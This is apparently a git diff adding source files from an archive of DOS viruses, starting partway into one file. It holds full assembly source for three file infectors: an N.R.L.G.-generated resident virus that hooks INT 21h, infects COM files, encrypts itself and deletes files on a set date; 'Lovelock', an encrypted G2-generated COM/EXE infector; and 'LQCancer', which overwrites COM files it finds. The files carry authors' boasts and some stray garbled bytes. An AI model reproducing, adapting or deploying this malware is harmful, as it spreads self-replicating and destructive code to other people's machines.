||||||
|
inc ax ;
|
||||||
|
mov es,ax ;es = new segment
|
||||||
|
lea si,[bp + offset start] ;si = start of virus
|
||||||
|
mov di,100h ;di = 100H (psp position)
|
||||||
|
mov cx,offset fin - start ;cx = lag of virus
|
||||||
|
push cs ;
|
||||||
|
pop ds ;ds = cs
|
||||||
|
cld ;mov the code
|
||||||
|
rep movsb ;ds:si >> es:di
|
||||||
|
;--------------------------------------------------------------
|
||||||
|
mov dx,offset virus ;dx = new int21 handler
|
||||||
|
mov ax,2521h ;
|
||||||
|
push es ;
|
||||||
|
pop ds ;
|
||||||
|
int 21h ;set the vectors
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
pum2: ;
|
||||||
|
;
|
||||||
|
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||||
|
mov byte ptr cs:[100h],ah ;first bytes
|
||||||
|
mov ax,word ptr [cs:bp + real + 1] ;
|
||||||
|
mov word ptr cs:[101h],ax ;
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
mov ax,100h ;
|
||||||
|
jmp ax ;jmp to execute
|
||||||
|
;
|
||||||
|
;*****************************************************************
|
||||||
|
;* HANDLER FOR THE INT 21H
|
||||||
|
;*****************************************************************
|
||||||
|
;
|
||||||
|
VIRUS: ;
|
||||||
|
;
|
||||||
|
cmp ah,4bh ;is a 4b function?
|
||||||
|
je REPRODUCCION ;yes! jump to reproduce !
|
||||||
|
cmp ah,11h
|
||||||
|
je dir
|
||||||
|
cmp ah,12h
|
||||||
|
je dir
|
||||||
|
dirsal:
|
||||||
|
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||||
|
jne a3 ;no! jump to a3
|
||||||
|
mov bh,0cah ;yes! put ca in bh
|
||||||
|
a3: ;
|
||||||
|
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||||
|
ret ;
|
||||||
|
make db '[NuKE] N.R.L.G. AZRAEL'
|
||||||
|
dir:
|
||||||
|
jmp dir_s
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
REPRODUCCION: ;
|
||||||
|
;
|
||||||
|
pushf ;put the register
|
||||||
|
pusha ;in the stack
|
||||||
|
push si ;
|
||||||
|
push di ;
|
||||||
|
push bp ;
|
||||||
|
push es ;
|
||||||
|
push ds ;
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
push cs ;
|
||||||
|
pop ds ;
|
||||||
|
mov ax,3524H ;get the dos error control
|
||||||
|
int 21h ;interupt
|
||||||
|
mov word ptr error,es ;and put in cs:error
|
||||||
|
mov word ptr error+2,bx ;
|
||||||
|
mov ax,2524H ;change the dos error control
|
||||||
|
mov dx,offset all ;for my "trap mask"
|
||||||
|
int 21h ;
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
pop ds ;
|
||||||
|
pop es ;restore the registers
|
||||||
|
pop bp ;
|
||||||
|
pop di ;
|
||||||
|
pop si ;
|
||||||
|
popa ;
|
||||||
|
popf ;
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
pushf ;put the registers
|
||||||
|
pusha ;
|
||||||
|
push si ;HEY! AZRAEL IS CRAZY?
|
||||||
|
push di ;PUSH, POP, PUSH, POP
|
||||||
|
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||||
|
push es ;PURIFY THIS SHIT!
|
||||||
|
push ds ;
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
mov ax,4300h ;
|
||||||
|
int 21h ;get the file
|
||||||
|
mov word ptr cs:[attrib],cx ;atributes
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
mov ax,4301h ;le saco los atributos al
|
||||||
|
xor cx,cx ;file
|
||||||
|
int 21h ;
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
mov ax,3d02h ;open the file
|
||||||
|
int 21h ;for read/write
|
||||||
|
mov bx,ax ;bx=handle
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
mov ax,5700h ;
|
||||||
|
int 21h ;get the file date
|
||||||
|
mov word ptr cs:[hora],cx ;put the hour
|
||||||
|
mov word ptr cs:[dia],dx ;put the day
|
||||||
|
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||||
|
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||||
|
jne seguir ;yes! the file is infected!
|
||||||
|
jmp cerrar ;
|
||||||
|
;------------------------------------------------------------
|
||||||
|
seguir: ;
|
||||||
|
mov ax,4202h ;move the pointer to end
|
||||||
|
call movedor ;of the file
|
||||||
|
;------------------------------------------------------------
|
||||||
|
push cs ;
|
||||||
|
pop ds ;
|
||||||
|
sub ax,3 ;calculate the
|
||||||
|
mov word ptr [cs:largo],ax ;jmp long
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
mov ax,04200h ;move the pointer to
|
||||||
|
call movedor ;start of file
|
||||||
|
;----------------------------------------------------------
|
||||||
|
push cs ;
|
||||||
|
pop ds ;read the 3 first bytes
|
||||||
|
mov ah,3fh ;
|
||||||
|
mov cx,3 ;
|
||||||
|
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||||
|
int 21h ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||||
|
jne er1 ;yes! is a EXE... fuckkk!
|
||||||
|
;----------------------------------------------------------
|
||||||
|
jmp cerrar
|
||||||
|
er1:
|
||||||
|
;----------------------------------------------------------
|
||||||
|
mov ax,4200h ;move the pointer
|
||||||
|
call movedor ;to start fo file
|
||||||
|
;----------------------------------------------------------
|
||||||
|
push cs ;
|
||||||
|
pop ds ;
|
||||||
|
mov ah,40h ;
|
||||||
|
mov cx,1 ;write the JMP
|
||||||
|
lea dx,[cs:jump] ;instruccion in the
|
||||||
|
int 21h ;fist byte of the file
|
||||||
|
;----------------------------------------------------------
|
||||||
|
mov ah,40h ;write the value of jmp
|
||||||
|
mov cx,2 ;in the file
|
||||||
|
lea dx,[cs:largo] ;
|
||||||
|
int 21h ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
mov ax,04202h ;move the pointer to
|
||||||
|
call movedor ;end of file
|
||||||
|
;----------------------------------------------------------
|
||||||
|
push cs ;
|
||||||
|
pop ds ;move the code
|
||||||
|
push cs ;of my virus
|
||||||
|
pop es ;to cs:end+50
|
||||||
|
cld ;for encrypt
|
||||||
|
mov si,100h ;
|
||||||
|
mov di,offset fin + 50 ;
|
||||||
|
mov cx,offset fin - 100h ;
|
||||||
|
rep movsb ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
mov cx,offset fin
|
||||||
|
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||||
|
enc: ;
|
||||||
|
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||||
|
inc di ;code
|
||||||
|
loop enc ;
|
||||||
|
;---------------------------------------------------------
|
||||||
|
mov cx,offset fin
|
||||||
|
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||||
|
mov dx,1
|
||||||
|
enc2: ;
|
||||||
|
|
||||||
|
ÿinc di
|
||||||
|
inc di ;the virus code
|
||||||
|
loop enc2 ;
|
||||||
|
;--------------------------------------------
|
||||||
|
mov ah,40h ;
|
||||||
|
mov cx,offset fin - offset start ;copy the virus
|
||||||
|
mov dx,offset fin + 50 ;to end of file
|
||||||
|
int 21h ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
cerrar: ;
|
||||||
|
;restore the
|
||||||
|
mov ax,5701h ;date and time
|
||||||
|
mov cx,word ptr cs:[hora] ;file
|
||||||
|
mov dx,word ptr cs:[dia] ;
|
||||||
|
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||||
|
int 21h ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
mov ah,3eh ;
|
||||||
|
int 21h ;close the file
|
||||||
|
;----------------------------------------------------------
|
||||||
|
pop ds ;
|
||||||
|
pop es ;restore the
|
||||||
|
pop bp ;registers
|
||||||
|
pop di ;
|
||||||
|
pop si ;
|
||||||
|
popa ;
|
||||||
|
popf ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
pusha ;
|
||||||
|
;
|
||||||
|
mov ax,4301h ;restores the atributes
|
||||||
|
mov cx,word ptr cs:[attrib] ;of the file
|
||||||
|
int 21h ;
|
||||||
|
;
|
||||||
|
popa ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
pushf ;
|
||||||
|
pusha ; 8-( = f-prot
|
||||||
|
push si ;
|
||||||
|
push di ; 8-( = tbav
|
||||||
|
push bp ;
|
||||||
|
push es ; 8-) = I'm
|
||||||
|
push ds ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
mov ax,2524H ;
|
||||||
|
lea bx,error ;restore the
|
||||||
|
mov ds,bx ;errors handler
|
||||||
|
lea bx,error+2 ;
|
||||||
|
int 21h ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
pop ds ;
|
||||||
|
pop es ;
|
||||||
|
pop bp ;restore the
|
||||||
|
pop di ;resgisters
|
||||||
|
pop si ;
|
||||||
|
popa ;
|
||||||
|
popf ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
JMP A3 ;jmp to orig. INT 21
|
||||||
|
;
|
||||||
|
;**********************************************************
|
||||||
|
; SUBRUTINES AREA
|
||||||
|
;**********************************************************
|
||||||
|
;
|
||||||
|
movedor: ;
|
||||||
|
;
|
||||||
|
xor cx,cx ;use to move file pointer
|
||||||
|
xor dx,dx ;
|
||||||
|
int 21h ;
|
||||||
|
ret ;
|
||||||
|
;----------------------------------------------------------
|
||||||
|
all: ;
|
||||||
|
;
|
||||||
|
XOR AL,AL ;use to set
|
||||||
|
iret ;error flag
|
||||||
|
|
||||||
|
;***********************************************************
|
||||||
|
; DATA AREA
|
||||||
|
;***********************************************************
|
||||||
|
largo dw ?
|
||||||
|
jump db 0e9h
|
||||||
|
real db 0cdh,20h,0
|
||||||
|
hora dw ?
|
||||||
|
dia dw ?
|
||||||
|
attrib dw ?
|
||||||
|
int21 dd ?
|
||||||
|
error dd ?
|
||||||
|
|
||||||
|
ÿ;---------------------------------
|
||||||
|
action: ;
|
||||||
|
MOV AH,2AH ;
|
||||||
|
INT 21H ;get date
|
||||||
|
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
|
||||||
|
JE cont ;nop! fuck ret
|
||||||
|
cmp byte ptr cs:[action_dia+bp],32 ;
|
||||||
|
jne no_day ;
|
||||||
|
cont: ;
|
||||||
|
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
|
||||||
|
je set ;
|
||||||
|
cmp byte ptr cs:[action_mes+bp],13 ;
|
||||||
|
jne NO_DAY ;nop! fuck ret
|
||||||
|
set: ;
|
||||||
|
;
|
||||||
|
mov ds,word ptr cs:[2ch] ;
|
||||||
|
xor bx,bx ;
|
||||||
|
nuevo: ;
|
||||||
|
inc bx ;get file name!
|
||||||
|
mov dl,byte ptr ds:[bx] ;
|
||||||
|
cmp dl,00 ;
|
||||||
|
jne nuevo ;
|
||||||
|
nuevo1: ;
|
||||||
|
inc bx ;
|
||||||
|
mov dl,byte ptr ds:[bx] ;get file name!
|
||||||
|
cmp dl,00 ;
|
||||||
|
jne nuevo1 ;
|
||||||
|
nuevo2: ;
|
||||||
|
inc bx ;
|
||||||
|
mov dl,byte ptr ds:[bx] ;get file name!
|
||||||
|
cmp dl,01 ;
|
||||||
|
jne nuevo2 ;
|
||||||
|
nuevo3: ;
|
||||||
|
inc bx ;
|
||||||
|
mov dl,byte ptr ds:[bx] ;get file name!
|
||||||
|
cmp dl,00 ;
|
||||||
|
jne nuevo3 ;
|
||||||
|
cero3: ;
|
||||||
|
inc bx ;
|
||||||
|
push bx ;
|
||||||
|
pop dx ;
|
||||||
|
push dx ;
|
||||||
|
push ds ;
|
||||||
|
push cs ;
|
||||||
|
pop ds ;
|
||||||
|
push cs ;
|
||||||
|
pop es ;
|
||||||
|
pop ds ;
|
||||||
|
pop dx ;
|
||||||
|
MOV AH,41H ;delete name
|
||||||
|
iNT 21H ;ds:dx=file mame
|
||||||
|
int 20h ;
|
||||||
|
NO_DAY: ;
|
||||||
|
ret ;
|
||||||
|
;---------------------------------
|
||||||
|
|
||||||
|
ÿ;-------------;
|
||||||
|
Dir_S: ;
|
||||||
|
jmp dirsal ;
|
||||||
|
no_Good:iret ;
|
||||||
|
;-------------;
|
||||||
|
|
||||||
|
ÿaction_dia Db 01H ;day for the action
|
||||||
|
action_mes Db 01H ;month for the action
|
||||||
|
FECHA DW 012H ;Secon for mark
|
||||||
|
FECHAd Db 012H ;Secon for mark dir st
|
||||||
|
fin:
|
||||||
|
code ends
|
||||||
|
end start
|
||||||
@@ -0,0 +1,352 @@
|
|||||||
|
; Virus generated by Gý 0.70á
|
||||||
|
; Gý written by Dark Angel of Phalcon/Skism
|
||||||
|
|
||||||
|
; File: LOVELOCK.ASM
|
||||||
|
; Lovelock by Ender
|
||||||
|
|
||||||
|
checkres1 = 'DA'
|
||||||
|
checkres2 = 'PS'
|
||||||
|
id = 'DA'
|
||||||
|
|
||||||
|
.model tiny
|
||||||
|
.code
|
||||||
|
|
||||||
|
; Assemble with:
|
||||||
|
; TASM /m3 filename.ASM
|
||||||
|
; TLINK filename.OBJ
|
||||||
|
; EXE2BIN filename.EXE filename.COM
|
||||||
|
org 0000h
|
||||||
|
|
||||||
|
start:
|
||||||
|
ENCRYPT:
|
||||||
|
patchstart:
|
||||||
|
mov bx, offset endencrypt
|
||||||
|
mov cx, (heap-endencrypt)/2+1
|
||||||
|
encrypt_loop:
|
||||||
|
db 002Eh ; cs:
|
||||||
|
db 0081h,0037h ; xor word ptr [bx], xxxx
|
||||||
|
encryptvalue dw 0000h
|
||||||
|
inc bx
|
||||||
|
inc bx
|
||||||
|
loop encrypt_loop
|
||||||
|
endencrypt:
|
||||||
|
call next
|
||||||
|
next:
|
||||||
|
pop bp
|
||||||
|
sub bp, offset next
|
||||||
|
|
||||||
|
push es
|
||||||
|
push ds
|
||||||
|
|
||||||
|
mov ax, checkres1 ; Installation check
|
||||||
|
int 0021h
|
||||||
|
cmp ax, checkres2 ; Already installed?
|
||||||
|
jz done_install
|
||||||
|
|
||||||
|
mov ax, ds
|
||||||
|
dec ax
|
||||||
|
mov ds, ax
|
||||||
|
|
||||||
|
sub word ptr ds:[0003h], (endheap-start+15)/16+1
|
||||||
|
sub word ptr ds:[0012h], (endheap-start+15)/16+1
|
||||||
|
mov ax, ds:[0012h]
|
||||||
|
mov ds, ax
|
||||||
|
inc ax
|
||||||
|
mov es, ax
|
||||||
|
mov byte ptr ds:[0000h], 'Z'
|
||||||
|
mov word ptr ds:[0001h], 0008h
|
||||||
|
mov word ptr ds:[0003h], (endheap-start+15)/16
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
xor di, di
|
||||||
|
mov cx, (heap-start)/2+1 ; Bytes to move
|
||||||
|
mov si, bp ; lea si,[bp+offset start]
|
||||||
|
rep movsw
|
||||||
|
|
||||||
|
xor ax, ax
|
||||||
|
mov ds, ax
|
||||||
|
push ds
|
||||||
|
lds ax, ds:[21h*4] ; Get old int handler
|
||||||
|
mov word ptr es:oldint21, ax
|
||||||
|
mov word ptr es:oldint21+2, ds
|
||||||
|
pop ds
|
||||||
|
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
|
||||||
|
mov ds:[21h*4+2], es ; in high memory
|
||||||
|
|
||||||
|
done_install:
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
cmp sp, id
|
||||||
|
jne restore_COM
|
||||||
|
restore_EXE:
|
||||||
|
mov ax, es
|
||||||
|
add ax, 0010h
|
||||||
|
add cs:[bp+word ptr origCSIP+2], ax
|
||||||
|
add ax, cs:[bp+word ptr origSPSS]
|
||||||
|
cli
|
||||||
|
mov ss, ax
|
||||||
|
mov sp, cs:[bp+word ptr origSPSS+2]
|
||||||
|
sti
|
||||||
|
db 00EAh
|
||||||
|
origCSIP db ?
|
||||||
|
old3 db 0cdh,20h,0
|
||||||
|
origSPSS dd ?
|
||||||
|
|
||||||
|
restore_COM:
|
||||||
|
mov di, 0100h
|
||||||
|
push di
|
||||||
|
lea si, [bp+offset old3]
|
||||||
|
movsb
|
||||||
|
movsw
|
||||||
|
ret
|
||||||
|
|
||||||
|
INT24:
|
||||||
|
mov al, 0003h
|
||||||
|
iret
|
||||||
|
|
||||||
|
int21:
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
|
||||||
|
cmp ax, 4B00h ; execute?
|
||||||
|
jz execute
|
||||||
|
return:
|
||||||
|
jmp exitint21
|
||||||
|
execute:
|
||||||
|
mov word ptr cs:filename, dx
|
||||||
|
mov word ptr cs:filename+2, ds
|
||||||
|
mov ax, 3524h
|
||||||
|
int 0021h
|
||||||
|
push es
|
||||||
|
push bx
|
||||||
|
|
||||||
|
mov ax, 2524h
|
||||||
|
lea dx, INT24 ; ASSumes ds=cs
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
|
||||||
|
|
||||||
|
mov bx, dx
|
||||||
|
cmp word ptr [bx+4], 'NA' ; Check if COMMAND.COM
|
||||||
|
jz return ; Exit if so
|
||||||
|
|
||||||
|
lds dx, cs:filename
|
||||||
|
mov ax, 4300h
|
||||||
|
int 0021h
|
||||||
|
jc return
|
||||||
|
push cx
|
||||||
|
push ds
|
||||||
|
push dx
|
||||||
|
|
||||||
|
mov ax, 4301h ; clear file attributes
|
||||||
|
push ax ; save for later use
|
||||||
|
xor cx, cx
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
lds dx, cs:filename
|
||||||
|
mov ax, 3D02h
|
||||||
|
int 0021h
|
||||||
|
xchg ax, bx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ax, 5700h ; get file time/date
|
||||||
|
int 0021h
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
|
||||||
|
mov dx, offset readbuffer
|
||||||
|
mov ah, 003Fh
|
||||||
|
mov cx, 001Ah
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
xor dx, dx
|
||||||
|
xor cx, cx
|
||||||
|
mov ax, 4202h
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
cmp word ptr [offset readbuffer], 'ZM'
|
||||||
|
jz checkEXE
|
||||||
|
|
||||||
|
mov cx, word ptr [offset readbuffer+1] ; jmp location
|
||||||
|
add cx, heap-start+3 ; convert to filesize
|
||||||
|
cmp ax, cx ; equal if already infected
|
||||||
|
jz jmp_close
|
||||||
|
|
||||||
|
cmp ax, 65535-(endheap-start) ; check if too large
|
||||||
|
ja jmp_close ; Exit if so
|
||||||
|
|
||||||
|
cmp ax, (heap-start) ; check if too small
|
||||||
|
jb jmp_close ; Exit if so
|
||||||
|
|
||||||
|
mov di, offset old3
|
||||||
|
mov si, offset readbuffer
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
|
||||||
|
mov si, ax ; save entry point
|
||||||
|
add si, 0100h
|
||||||
|
mov cx, 0003h
|
||||||
|
sub ax, cx
|
||||||
|
mov word ptr [offset readbuffer+1], ax
|
||||||
|
mov dl, 00E9h
|
||||||
|
mov byte ptr [offset readbuffer], dl
|
||||||
|
jmp short continue_infect
|
||||||
|
checkEXE:
|
||||||
|
cmp word ptr [offset readbuffer+10h], id
|
||||||
|
jnz skipp
|
||||||
|
jmp_close:
|
||||||
|
jmp close
|
||||||
|
skipp:
|
||||||
|
|
||||||
|
lea si, readbuffer+14h
|
||||||
|
lea di, origCSIP
|
||||||
|
movsw ; Save original CS and IP
|
||||||
|
movsw
|
||||||
|
|
||||||
|
sub si, 000Ah
|
||||||
|
movsw ; Save original SS and SP
|
||||||
|
movsw
|
||||||
|
|
||||||
|
push bx ; save file handle
|
||||||
|
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
|
||||||
|
mov cl, 0004h
|
||||||
|
shl bx, cl
|
||||||
|
|
||||||
|
push dx ; Save file size on the
|
||||||
|
push ax ; stack
|
||||||
|
|
||||||
|
sub ax, bx ; File size - Header size
|
||||||
|
sbb dx, 0000h ; DX:AX - BX -> DX:AX
|
||||||
|
|
||||||
|
mov cx, 0010h
|
||||||
|
div cx ; DX:AX/CX = AX Remainder DX
|
||||||
|
|
||||||
|
mov word ptr [readbuffer+10h], id ; Initial SP
|
||||||
|
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
|
||||||
|
mov word ptr [readbuffer+14h], dx ; IP Offset
|
||||||
|
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
|
||||||
|
|
||||||
|
mov si, dx ; save entry point
|
||||||
|
pop ax ; Filelength in DX:AX
|
||||||
|
pop dx
|
||||||
|
|
||||||
|
add ax, heap-start
|
||||||
|
adc dx, 0000h
|
||||||
|
|
||||||
|
mov cl, 0009h
|
||||||
|
push ax
|
||||||
|
shr ax, cl
|
||||||
|
ror dx, cl
|
||||||
|
stc
|
||||||
|
adc dx, ax
|
||||||
|
pop ax
|
||||||
|
and ah, 0001h
|
||||||
|
|
||||||
|
mov word ptr [readbuffer+2], ax ; the EXE header.
|
||||||
|
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
|
||||||
|
|
||||||
|
pop bx ; restore file handle
|
||||||
|
mov cx, 001Ah
|
||||||
|
|
||||||
|
continue_infect:
|
||||||
|
push cx ; save # bytes to write
|
||||||
|
|
||||||
|
get_encrypt_value:
|
||||||
|
mov ah, 002Ch ; Get current time
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
or dx, dx ; Check if encryption value = 0
|
||||||
|
jz get_encrypt_value ; Get another if it is
|
||||||
|
|
||||||
|
add si, (offset endencrypt-offset encrypt)
|
||||||
|
mov word ptr ds:[patchstart+1], si
|
||||||
|
mov word ptr ds:[encryptvalue], dx
|
||||||
|
|
||||||
|
mov cx, (heap-encrypt)/2
|
||||||
|
mov di, offset encryptbuffer
|
||||||
|
mov si, offset ENCRYPT
|
||||||
|
push si
|
||||||
|
rep movsw ; copy virus to buffer
|
||||||
|
|
||||||
|
mov ax, offset endencrypt-encrypt+encryptbuffer
|
||||||
|
mov word ptr ds:[patchstart+1], ax
|
||||||
|
pop si
|
||||||
|
push offset endencrypt
|
||||||
|
mov byte ptr [offset endencrypt], 00C3h ; retn
|
||||||
|
push bx
|
||||||
|
call si ; encrypt virus in buffer
|
||||||
|
pop bx
|
||||||
|
pop word ptr [offset endencrypt]
|
||||||
|
|
||||||
|
|
||||||
|
mov ah, 0040h
|
||||||
|
mov cx, heap-encrypt
|
||||||
|
mov dx, offset encryptbuffer
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
xor cx, cx
|
||||||
|
mov ax, 4200h
|
||||||
|
xor dx, dx
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
|
||||||
|
mov dx, offset readbuffer
|
||||||
|
mov ah, 0040h
|
||||||
|
pop cx
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
|
||||||
|
close:
|
||||||
|
mov ax, 5701h ; restore file time/date
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
mov ah, 003Eh
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
pop ax ; restore file attributes
|
||||||
|
pop dx ; get filename and
|
||||||
|
pop ds
|
||||||
|
pop cx ; attributes from stack
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
pop dx
|
||||||
|
pop ds
|
||||||
|
mov ax, 2524h
|
||||||
|
int 0021h
|
||||||
|
|
||||||
|
exitint21:
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
db 00EAh ; return to original handler
|
||||||
|
oldint21 dd ?
|
||||||
|
|
||||||
|
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
|
||||||
|
creator db 'Ender',0
|
||||||
|
virusname db 'Lovelock',0
|
||||||
|
|
||||||
|
heap:
|
||||||
|
encryptbuffer db (heap-encrypt)+1 dup (?)
|
||||||
|
filename dd ?
|
||||||
|
readbuffer db 1ah dup (?)
|
||||||
|
endheap:
|
||||||
|
end start
|
||||||
Binary file not shown.
@@ -0,0 +1,138 @@
|
|||||||
|
page ,132
|
||||||
|
name LiquidCodeCANCER
|
||||||
|
title LQCancer - a mutation of the V-847 virus
|
||||||
|
.radix 16
|
||||||
|
code segment
|
||||||
|
assume cs:code,ds:code
|
||||||
|
org 100
|
||||||
|
|
||||||
|
olddta equ 80
|
||||||
|
virlen equ offset endcode - offset start
|
||||||
|
smalcod equ offset endcode - offset transf
|
||||||
|
buffer equ offset endcode + 100
|
||||||
|
newdta equ offset endcode + 10
|
||||||
|
fname = newdta + 1E
|
||||||
|
virlenx = offset endcode - offset start
|
||||||
|
|
||||||
|
start:
|
||||||
|
jmp cancer
|
||||||
|
|
||||||
|
ident db 'LiquidCode<tm>'
|
||||||
|
counter db 0
|
||||||
|
allcom db '*.COM',0
|
||||||
|
vleng db virlen
|
||||||
|
n_10D db 3 ;Unused
|
||||||
|
progbeg dd ?
|
||||||
|
eof dw ?
|
||||||
|
handle dw ?
|
||||||
|
|
||||||
|
cancer:
|
||||||
|
mov ax,cs ;Move program code
|
||||||
|
add ax,1000 ; 64K bytes forward
|
||||||
|
mov es,ax
|
||||||
|
inc [counter]
|
||||||
|
mov si,offset start
|
||||||
|
xor di,di
|
||||||
|
mov cx,virlen
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov dx,newdta ;Set new Disk Transfer Address
|
||||||
|
mov ah,1A ;Set DTA
|
||||||
|
mov ah,ah ;****
|
||||||
|
int 21
|
||||||
|
mov ah,ah ;****
|
||||||
|
mov dx,offset allcom ;Search for '*.COM' files
|
||||||
|
mov cx,110b ;Normal, Hidden or System
|
||||||
|
mov ah,4E ;Find First file
|
||||||
|
int 21
|
||||||
|
jc done ;Quit if none found
|
||||||
|
|
||||||
|
mainlp:
|
||||||
|
mov dx,offset fname
|
||||||
|
mov ax,3D02 ;Open file in Read/Write mode
|
||||||
|
int 21
|
||||||
|
mov [handle],ax ;Save handle
|
||||||
|
mov bx,ax
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
mov dx,buffer
|
||||||
|
mov cx,0FFFF ;Read all bytes
|
||||||
|
mov ah,3F ;Read from handle
|
||||||
|
int 21 ;Bytes read in AX
|
||||||
|
add ax,buffer
|
||||||
|
mov cs:[eof],ax ;Save pointer to the end of file
|
||||||
|
|
||||||
|
xor cx,cx ;Go to file beginning
|
||||||
|
mov dx,cx
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
mov ax,4200 ;LSEEK from the beginning of the file
|
||||||
|
int 21
|
||||||
|
jc close ;Leave this file if error occures
|
||||||
|
|
||||||
|
mov dx,0 ;Write the whole code (virus+file)
|
||||||
|
mov cx,cs:[eof] ; back onto the file
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
mov ah,40 ;Write to handle
|
||||||
|
int 21
|
||||||
|
|
||||||
|
close:
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
mov ah,3E ;Close the file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds ;Restore DS
|
||||||
|
mov ah,4F ;Find next matching file
|
||||||
|
mov dx,newdta
|
||||||
|
int 21
|
||||||
|
jc done ;Exit if all found
|
||||||
|
jmp mainlp ;Otherwise loop again
|
||||||
|
|
||||||
|
done:
|
||||||
|
mov dx,olddta ;Restore old Disk Transfer Address
|
||||||
|
mov ah,1A ;Set DTA
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov si,offset transf ;Move this part of code
|
||||||
|
mov cx,smalcod ;Code length
|
||||||
|
xor di,di ;Move to ES:0
|
||||||
|
rep movsb ;Do it
|
||||||
|
|
||||||
|
xor di,di ;Clear DI
|
||||||
|
mov word ptr cs:[progbeg],0
|
||||||
|
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
||||||
|
jmp cs:[progbeg] ;Jump at program start
|
||||||
|
|
||||||
|
transf:
|
||||||
|
push ds
|
||||||
|
pop es
|
||||||
|
mov si,buffer+100
|
||||||
|
cmp [counter],1
|
||||||
|
jne skip
|
||||||
|
sub si,200
|
||||||
|
skip:
|
||||||
|
mov di,offset start
|
||||||
|
mov di,di ;****
|
||||||
|
mov bx,0ffff ;****
|
||||||
|
mov cx,bx ;Restore original program's code
|
||||||
|
mov ah,ah ;****
|
||||||
|
sub cx,si
|
||||||
|
rep movsb
|
||||||
|
mov word ptr cs:[start],offset start
|
||||||
|
mov word ptr cs:[start+2],ds
|
||||||
|
jmp dword ptr cs:[start] ;Jump to program start
|
||||||
|
endcode label byte
|
||||||
|
|
||||||
|
int 20 ;Dummy program
|
||||||
|
int 20 ;???
|
||||||
|
|
||||||
|
db 0 ;Unused
|
||||||
|
|
||||||
|
code ends
|
||||||
|
end start
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
